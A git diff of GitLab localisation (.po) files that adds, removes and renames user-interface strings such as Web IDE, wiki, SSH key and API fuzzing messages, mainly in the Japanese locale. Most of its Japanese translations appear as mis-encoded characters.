msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr "Necessiti del permesso."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index f2419377edf..433335123ef 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:17\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -73,7 +73,7 @@ msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "「%{path}ã€ã¯ã€Œ%{ref}ã€ã«å­˜åœ¨ã—ã¾ã›ã‚“ã§ã—ãŸ"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
+msgstr "\"%{repository_name}\" ã®ã‚µã‚¤ã‚º (%{repository_size}) ãŒåˆ¶é™ã® %{limit} を超ãˆã¦ã„ã¾ã™ã€‚"
msgid "\"el\" parameter is required for createInstance()"
msgstr "createInstance() ã«ã¯ \"el\" パラメータãŒå¿…è¦ã§ã™"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] "%d 個ã®å¤‰æ›´ã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d 件ã®å­ã‚¨ãƒ”ック"
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] "%d 件ã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ã‚¸ãƒ§ãƒ–ãŒå¤±æ•—ã—ã¾ã—ãŸ"
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d 件ã®ãƒ†ã‚¹ãƒˆã§ä¿®æ­£ã•ã‚Œã¾ã—ãŸ"
@@ -333,6 +341,9 @@ msgstr "%{authorsName}ã®ã‚¹ãƒ¬ãƒƒãƒ‰"
msgid "%{board_target} not found"
msgstr "%{board_target} ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr "%{commit_author_link} ㌠%{commit_timeago} ã«ã‚³ãƒŸãƒƒãƒˆã—ã¾ã—ãŸ"
msgid "%{completedCount} completed weight"
msgstr "%{completedCount} ウェイトãŒå®Œäº†ã—ã¾ã—ãŸ"
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "%{completedWeight}/%{totalWeight} ウェイトãŒå®Œäº†ã—ã¾ã—ãŸ"
@@ -370,17 +385,9 @@ msgstr "%{name} ㌠%{count} 件ã®æ‰¿èªã‚’了承ã—ã¾ã—ãŸ"
msgid "%{count} files touched"
msgstr "%{count} ファイルãŒå¤‰æ›´ã•ã‚Œã¾ã—ãŸ"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] "%{count} 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’é¸æŠžæ¸ˆã¿"
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] "%{count} 件ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’é¸æŠžæ¸ˆã¿"
-
msgid "%{count} more"
msgstr "他 %{count} 件"
@@ -473,8 +480,8 @@ msgstr "%{group_name} グループã®ãƒ¡ãƒ³ãƒãƒ¼"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} ã¯ã‚°ãƒ«ãƒ¼ãƒ—管ç†ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’使用ã—ã¾ã™ã€‚ %{group_name} ã«ã‚ˆã£ã¦ç®¡ç†ã•ã‚Œã‚‹æ–°ã—ã„GitLabアカウントを作æˆã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
-msgstr "%{group_name}&%{epic_iid} &middot; %{author} ã«ã‚ˆã‚Š %{epic_created} オープンã•ã‚Œã¾ã—ãŸ"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
+msgstr ""
msgid "%{hook_type} was deleted"
msgstr "%{hook_type} ã¯å‰Šé™¤ã•ã‚Œã¾ã—ãŸ"
@@ -854,6 +861,9 @@ msgstr "%{total} 件ã®è­¦å‘ŠãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: 最åˆã® %{warningsDispl
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "GitLab Inc. ã¨ã©ã®ã‚ˆã†ãªæƒ…報を共有ã™ã‚‹ã‹ã«ã¤ã„ã¦ã¯ %{usage_ping_link_start} ã“ã¡ã‚‰%{usage_ping_link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (マージã§ãã¾ã›ã‚“)"
@@ -985,6 +995,9 @@ msgstr[0] "%d 以上"
msgid "+%{approvers} more approvers"
msgstr "%{approvers} 人以上ã®æ‰¿èªè€…"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr "+%{more_assignees_count}"
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] "%d æ—¥"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] "%d 個ã®ãƒ‡ãƒ—ロイキー"
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] "%d 時間"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "%{merge_requests}件ã®ãƒžãƒ¼ã‚¸ã•ã‚ŒãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] "%d 分"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "%{issues}件ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] "%{num}ユーザー"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr "貢献 1-9 件"
@@ -1219,9 +1256,6 @@ msgstr "ファイルãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "ファイル '%{file_name}' ã¯æ—¢ã« %{branch} ブランãƒã«å­˜åœ¨ã—ã¾ã™"
-msgid "A fork is a copy of a project."
-msgstr "フォークã¨ã¯ãƒ—ロジェクトã®ã‚³ãƒ”ーã®ã“ã¨ã§ã™ã€‚"
-
msgid "A group is a collection of several projects"
msgstr "グループã§è¤‡æ•°ã®ãƒ—ロジェクトをã¾ã¨ã‚ã‚‹ã“ã¨ãŒå‡ºæ¥ã¾ã™ã€‚"
@@ -1231,13 +1265,10 @@ msgstr "グループã§ã‚ãªãŸã®çµ„織を表ç¾ã§ãã¾ã™ã€‚グループå˜
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1250,7 +1281,7 @@ msgid "A merge request approval is required when the license compliance report c
msgstr "æ‹’å¦ãƒªã‚¹ãƒˆã«ã‚るライセンスãŒã€ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚³ãƒ³ãƒ—ライアンスレãƒãƒ¼ãƒˆã«å«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã§ã®æ‰¿èªãŒå¿…è¦ã«ãªã‚Šã¾ã™ã€‚"
msgid "A merge request hasn't yet been merged"
-msgstr ""
+msgstr "マージリクエストã¯ã¾ã ãƒžãƒ¼ã‚¸ã•ã‚Œã¦ã„ã¾ã›ã‚“"
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "æ–°ã—ã„Auto DevOps パイプラインãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚詳細ã«ã¤ã„ã¦ã¯ã€ %{pipelines_link_start}パイプラインページ%{pipelines_link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr "タイトルã¯å¿…須項目ã§ã™"
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "ã“ã®ã‚ªãƒ—ションをé¸æŠžã—ãŸã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¸ã®æ›¸ãè¾¼ã¿ã‚’許å¯ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼"
@@ -1333,13 +1361,25 @@ msgstr "API ヘルプ"
msgid "API Token"
msgstr "API トークン"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr "アカウントã¨åˆ¶é™"
msgid "Account: %{account}"
msgstr "アカウント: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr "アラートをå—信時ã«å–ã‚‹ã¹ãアクション 。%{docsLink}"
@@ -1633,10 +1679,6 @@ msgstr "追加"
msgid "Add \"%{value}\""
msgstr "\"%{value}\" を追加"
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "イシューを%d 件ã€è¿½åŠ "
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "リリース㫠%{linkStart}アセット%{linkEnd} を追加ã—ã¾ã™ã€‚ GitLab ã«ã¯ã€ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã‚„リリースã®ã‚¨ãƒ“デンスãªã©ã®èª­ã¿å–り専用ã®ã‚¢ã‚»ãƒƒãƒˆãŒè‡ªå‹•çš„ã«å«ã¾ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -1682,6 +1724,9 @@ msgstr "GPGキーを追加"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "管ç†è€…ã®ã‚µã‚¤ãƒ‰ãƒãƒ¼ã®ãƒ¢ãƒ‹ã‚¿ãƒªãƒ³ã‚°éƒ¨ã« Grafana ボタンを追加ã—㦠GitLabã®å¥å…¨æ€§ã‚„性能ã«ã¤ã„ã¦ã®å¹…広ã„統計ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãるよã†ã«ã—ã¾ã™ã€‚"
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "箇æ¡æ›¸ãリストを追加"
@@ -1757,6 +1802,9 @@ msgstr "コメントã™ã‚‹"
msgid "Add comment to design"
msgstr "デザインã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "デプロイフリーズを追加"
@@ -1784,9 +1832,6 @@ msgstr "メールã«ãƒ˜ãƒƒãƒ€ãƒ¼ã¨ãƒ•ãƒƒã‚¿ãƒ¼ã‚’追加ã—ã¾ã™ã€‚色設定ã¯
msgid "Add image comment"
msgstr "ç”»åƒã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
-msgid "Add issues"
-msgstr "イシューを追加"
-
msgid "Add italic text"
msgstr "斜体ã®ãƒ†ã‚­ã‚¹ãƒˆã‚’追加"
@@ -1814,6 +1859,9 @@ msgstr "作業時間を追加ã¾ãŸã¯æ¸›ã‚‰ã™"
msgid "Add previously merged commits"
msgstr "以å‰ã«ãƒžãƒ¼ã‚¸ã—ãŸã‚³ãƒŸãƒƒãƒˆã‚’追加"
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "リアクションã®è¿½åŠ "
@@ -1832,6 +1880,9 @@ msgstr "システムフックã®è¿½åŠ "
msgid "Add to Slack"
msgstr "Slackã«è¿½åŠ "
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "エピックã¸è¿½åŠ "
@@ -1925,6 +1976,9 @@ msgstr "追加分数"
msgid "Additional text"
msgstr "追加テキスト"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "追加"
@@ -1952,6 +2006,9 @@ msgstr "上記ã®ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼/検索æ¡ä»¶ã‚’調整ã—ã¦ãã ã•ã„。ã“ã‚
msgid "Admin Area"
msgstr "管ç†è€…エリア"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "管ç†è€…メモ"
@@ -2093,9 +2150,6 @@ msgstr "å…¨ã¦ã®ã‚¸ãƒ§ãƒ–ã‚’åœæ­¢ã—ã¾ã™ã€‚ã“ã‚Œã«ã‚ˆã‚Šç¾åœ¨å®Ÿè¡Œä¸­ã®
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "統計ã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-msgid "AdminNote|Note"
-msgstr "備考"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "プロジェクト %{projectName} ã¨ãã®ãƒªãƒã‚¸ãƒˆãƒªã€ã‚¤ã‚·ãƒ¥ãƒ¼ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãªã©ã®ã™ã¹ã¦ã®é–¢é€£ãƒªã‚½ãƒ¼ã‚¹ã‚’完全ã«å‰Šé™¤ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã„ã¾ä¸€åº¦ç¢ºèªã—〠%{strong_start}プロジェクトã®å‰Šé™¤%{strong_end}を押ã—ã¦ãã ã•ã„。削除ã—ãŸã‚ã¨ã€å…ƒã«æˆ»ã™ã“ã¨ã¯ã§ãã¾ã›ã‚“。"
@@ -2531,6 +2585,12 @@ msgstr "管ç†"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
